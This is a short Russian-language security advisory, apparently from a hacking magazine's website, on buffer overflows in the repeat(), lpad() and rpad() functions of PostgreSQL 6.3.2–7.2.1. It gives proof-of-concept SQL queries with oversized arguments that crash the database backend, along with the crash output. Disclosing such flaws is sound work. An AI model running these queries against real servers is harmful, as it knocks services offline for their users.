Витрина продуктов

Все продукты →
  • Подписка на «Хакер»

    Все статьи, архив и бонусы

    6000 ₽ / год

    Оформить
  • Печатный журнал

    Легендарный в твоём формате

    710 ₽ / номер

    Купить
  • Онлайн-курсы

    Практические навыки от экспертов

    от 9000 ₽

    Выбрать

PostgreSQL - бесплатная реляционная база данных. 

1. Переполнение буфера в функции repeat(). Уязвимость может использоваться для выполнения произвольного кода с привилегиями процесса PostgreSQL. Пример: 

psql> select repeat('xxx',1431655765);
pqReadData() -- backend closed the channel unexpectedly.
This probably means the backend terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.

2. Большие целочисленные параметры в
функциях lpad() и rpad() приведут к переполнению буфера. Уязвимость затрагивает только те базы данных, в которых используется 'UNICODE' кодирование.
Пример:

shell> pgsql template1 postgres
template1=# select version();
version
PostgreSQL 7.2 on i686-pc-linux-gnu, compiled by GCC 2.96
(1 row)
template1=# create database my_db with encoding='UNICODE';
CREATE DATABASE
template1# \c my_db
You are now connected to database my_db.
my_db=# select lpad('xxxxx',1431655765,'yyyyyyyyyyyyyyyy');
pqReadData() -- backend closed the channel unexpectedly.
This probably means the backend terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
!#

Уязвимость обнаружена в PostgreSQL 6.3.2- 7.2.1.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии